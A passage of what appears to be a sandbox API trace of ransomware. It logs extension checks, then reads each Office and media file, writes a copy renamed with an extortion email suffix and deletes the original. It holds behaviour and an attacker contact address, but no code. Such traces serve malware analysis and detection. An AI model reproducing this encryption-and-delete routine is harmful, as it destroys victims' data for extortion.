(lpString=".dbf") returned 4 [0267.286] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0267.286] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0267.286] lstrlenW (lpString=".1cd") returned 4 [0267.286] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0267.286] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0267.286] lstrlenW (lpString=".jpg") returned 4 [0267.286] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0267.286] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0267.286] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0267.286] lstrlenW (lpString=".doc") returned 4 [0267.286] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0267.286] lstrlenW (lpString=".docx") returned 5 [0267.286] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0267.286] lstrlenW (lpString=".pdf") returned 4 [0267.286] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0267.286] lstrlenW (lpString=".xls") returned 4 [0267.286] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0267.286] lstrlenW (lpString=".xlsx") returned 5 [0267.286] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0267.286] lstrlenW (lpString=".ppt") returned 4 [0267.286] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0267.286] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0267.286] lstrlenW (lpString=".zip") returned 4 [0267.286] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0267.286] lstrlenW (lpString=".rar") returned 4 [0267.286] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0267.286] lstrlenW (lpString=".bz2") returned 4 [0267.286] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0267.286] lstrlenW (lpString=".7z") returned 3 [0267.286] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0267.286] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0267.286] lstrlenW (lpString=".dbf") returned 4 [0267.286] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0267.287] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0267.287] lstrlenW (lpString=".1cd") returned 4 [0267.287] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0267.287] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0267.287] lstrlenW (lpString=".jpg") returned 4 [0267.287] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0267.287] lstrcmpiW (lpString1=".avi", lpString2=".html") returned -1 [0267.287] lstrlenW (lpString="boxed-split.avi") returned 15 [0267.287] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0267.287] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2d3ff1c | out: lpFileSize=0x2d3ff1c*=62976) returned 1 [0267.287] CloseHandle (hObject=0x2f4) returned 1 [0267.287] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi")) returned 0x20 [0267.287] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0267.287] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.287] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0267.287] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0267.287] lstrlenW (lpString=".doc") returned 4 [0267.287] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0267.287] lstrlenW (lpString=".docx") returned 5 [0267.287] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0267.287] lstrlenW (lpString=".pdf") returned 4 [0267.287] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0267.287] lstrlenW (lpString=".xls") returned 4 [0267.287] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0267.288] lstrlenW (lpString=".xlsx") returned 5 [0267.288] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0267.288] lstrlenW (lpString=".ppt") returned 4 [0267.288] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0267.288] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0267.288] lstrlenW (lpString=".zip") returned 4 [0267.288] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0267.288] lstrlenW (lpString=".rar") returned 4 [0267.288] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0267.288] lstrlenW (lpString=".bz2") returned 4 [0267.288] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0267.288] lstrlenW (lpString=".7z") returned 3 [0267.288] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0267.288] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0267.288] lstrlenW (lpString=".dbf") returned 4 [0267.288] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0267.290] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0 [0267.867] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x2d3ff1c | out: lpFileSize=0x2d3ff1c*=3161) returned 1 [0267.867] CloseHandle (hObject=0x2fc) returned 1 [0267.867] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml")) returned 0x20 [0267.867] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0267.867] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.868] lstrcmpiW (lpString1=".gif", lpString2=".html") returned -1 [0269.151] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground.wmv.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground.wmv.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0 [0269.152] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground_pal.wmv.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0 [0269.159] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0270.650] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0270.650] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0270.650] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01168_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0270.668] GetLastError () returned 0x0 [0270.668] ReadFile (in: hFile=0x30c, lpBuffer=0x3850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesRead=0x2d3fed4*=0x7d4, lpOverlapped=0x0) returned 1 [0270.669] WriteFile (in: hFile=0x37c, lpBuffer=0x3850020*, nNumberOfBytesToWrite=0x7e0, lpNumberOfBytesWritten=0x2d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesWritten=0x2d3fc9c*=0x7e0, lpOverlapped=0x0) returned 1 [0270.670] ReadFile (in: hFile=0x30c, lpBuffer=0x3850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesRead=0x2d3fed4*=0x0, lpOverlapped=0x0) returned 1 [0270.670] WriteFile (in: hFile=0x37c, lpBuffer=0x3850020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesWritten=0x2d3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0270.670] SetEndOfFile (hFile=0x37c) returned 1 [0270.670] CloseHandle (hObject=0x37c) returned 1 [0270.670] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0270.670] SetEndOfFile (hFile=0x30c) returned 1 [0270.763] CloseHandle (hObject=0x30c) returned 1 [0270.763] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0270.763] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01168_.wmf")) returned 1 [0270.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 63 [0270.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 63 [0270.764] lstrlenW (lpString=".doc") returned 4 [0270.764] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0270.764] lstrlenW (lpString=".docx") returned 5 [0270.764] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0270.764] lstrlenW (lpString=".pdf") returned 4 [0270.764] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0270.764] lstrlenW (lpString=".xls") returned 4 [0270.764] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0270.764] lstrlenW (lpString=".xlsx") returned 5 [0270.764] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0270.764] lstrlenW (lpString=".ppt") returned 4 [0270.764] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0270.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 63 [0270.764] lstrlenW (lpString=".zip") returned 4 [0270.764] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0270.764] lstrlenW (lpString=".rar") returned 4 [0270.764] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0270.764] lstrlenW (lpString=".bz2") returned 4 [0270.764] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0270.764] lstrlenW (lpString=".7z") returned 3 [0270.764] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0270.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 63 [0270.764] lstrlenW (lpString=".dbf") returned 4 [0270.764] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0270.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 63 [0270.764] lstrlenW (lpString=".1cd") returned 4 [0270.764] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0270.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 63 [0270.764] lstrlenW (lpString=".jpg") returned 4 [0270.764] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0270.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 63 [0270.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 63 [0270.765] lstrlenW (lpString=".doc") returned 4 [0270.765] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0270.765] lstrlenW (lpString=".docx") returned 5 [0270.765] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0270.765] lstrlenW (lpString=".pdf") returned 4 [0270.765] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0270.765] lstrlenW (lpString=".xls") returned 4 [0270.765] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0270.765] lstrlenW (lpString=".xlsx") returned 5 [0270.765] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0270.765] lstrlenW (lpString=".ppt") returned 4 [0270.765] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0270.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 63 [0270.765] lstrlenW (lpString=".zip") returned 4 [0270.765] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0270.765] lstrlenW (lpString=".rar") returned 4 [0270.765] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0270.765] lstrlenW (lpString=".bz2") returned 4 [0270.765] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0270.765] lstrlenW (lpString=".7z") returned 3 [0270.765] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0270.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 63 [0270.765] lstrlenW (lpString=".dbf") returned 4 [0270.765] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0270.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 63 [0270.765] lstrlenW (lpString=".1cd") returned 4 [0270.765] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0270.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 63 [0270.765] lstrlenW (lpString=".jpg") returned 4 [0270.765] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0270.766] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0270.766] lstrlenW (lpString="DD01173_.WMF") returned 12 [0270.766] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01173_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0270.777] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2d3ff1c | out: lpFileSize=0x2d3ff1c*=1804) returned 1 [0270.777] CloseHandle (hObject=0x384) returned 1 [0270.777] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01173_.wmf")) returned 0x20 [0270.779] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01173_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0270.779] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01173_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0270.779] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0270.779] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0270.779] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01173_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0270.783] GetLastError () returned 0x0 [0270.783] ReadFile (in: hFile=0x384, lpBuffer=0x3850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesRead=0x2d3fed4*=0x70c, lpOverlapped=0x0) returned 1 [0270.784] WriteFile (in: hFile=0x380, lpBuffer=0x3850020*, nNumberOfBytesToWrite=0x710, lpNumberOfBytesWritten=0x2d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesWritten=0x2d3fc9c*=0x710, lpOverlapped=0x0) returned 1 [0270.785] ReadFile (in: hFile=0x384, lpBuffer=0x3850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesRead=0x2d3fed4*=0x0, lpOverlapped=0x0) returned 1 [0270.785] WriteFile (in: hFile=0x380, lpBuffer=0x3850020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesWritten=0x2d3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0270.785] SetEndOfFile (hFile=0x380) returned 1 [0270.785] CloseHandle (hObject=0x380) returned 1 [0270.785] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0270.785] SetEndOfFile (hFile=0x384) returned 1 [0270.790] CloseHandle (hObject=0x384) returned 1 [0270.790] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0270.790] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01173_.wmf")) returned 1 [0270.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 63 [0270.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 63 [0270.791] lstrlenW (lpString=".doc") returned 4 [0270.791] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0270.791] lstrlenW (lpString=".docx") returned 5 [0270.791] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0270.791] lstrlenW (lpString=".pdf") returned 4 [0270.791] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0270.791] lstrlenW (lpString=".xls") returned 4 [0270.791] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0270.791] lstrlenW (lpString=".xlsx") returned 5 [0270.791] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0270.791] lstrlenW (lpString=".ppt") returned 4 [0270.791] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0270.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 63 [0270.791] lstrlenW (lpString=".zip") returned 4 [0270.791] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0270.791] lstrlenW (lpString=".rar") returned 4 [0270.791] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0270.791] lstrlenW (lpString=".bz2") returned 4 [0270.791] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0270.791] lstrlenW (lpString=".7z") returned 3 [0270.791] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0270.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 63 [0270.791] lstrlenW (lpString=".dbf") returned 4 [0270.791] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0270.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 63 [0270.791] lstrlenW (lpString=".1cd") returned 4 [0270.791] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0270.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 63 [0270.791] lstrlenW (lpString=".jpg") returned 4 [0270.791] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0270.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 63 [0270.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 63 [0270.792] lstrlenW (lpString=".doc") returned 4 [0270.792] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0270.792] lstrlenW (lpString=".docx") returned 5 [0270.792] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0270.792] lstrlenW (lpString=".pdf") returned 4 [0270.792] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0270.792] lstrlenW (lpString=".xls") returned 4 [0270.792] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0270.792] lstrlenW (lpString=".xlsx") returned 5 [0270.792] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0270.792] lstrlenW (lpString=".ppt") returned 4 [0270.792] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0270.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 63 [0270.792] lstrlenW (lpString=".zip") returned 4 [0270.792] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0270.792] lstrlenW (lpString=".rar") returned 4 [0270.792] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0270.792] lstrlenW (lpString=".bz2") returned 4 [0270.792] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0270.792] lstrlenW (lpString=".7z") returned 3 [0270.792] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0270.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 63 [0270.792] lstrlenW (lpString=".dbf") returned 4 [0270.792] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0270.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 63 [0270.792] lstrlenW (lpString=".1cd") returned 4 [0270.792] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0270.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 63 [0270.792] lstrlenW (lpString=".jpg") returned 4 [0270.792] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0270.793] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0270.793] lstrlenW (lpString="DD01176_.WMF") returned 12 [0270.793] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01176_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0270.793] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2d3ff1c | out: lpFileSize=0x2d3ff1c*=1888) returned 1 [0270.793] CloseHandle (hObject=0x384) returned 1 [0270.793] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01176_.wmf")) returned 0x20 [0270.793] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01176_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0270.793] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01176_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0270.793] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0270.793] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | 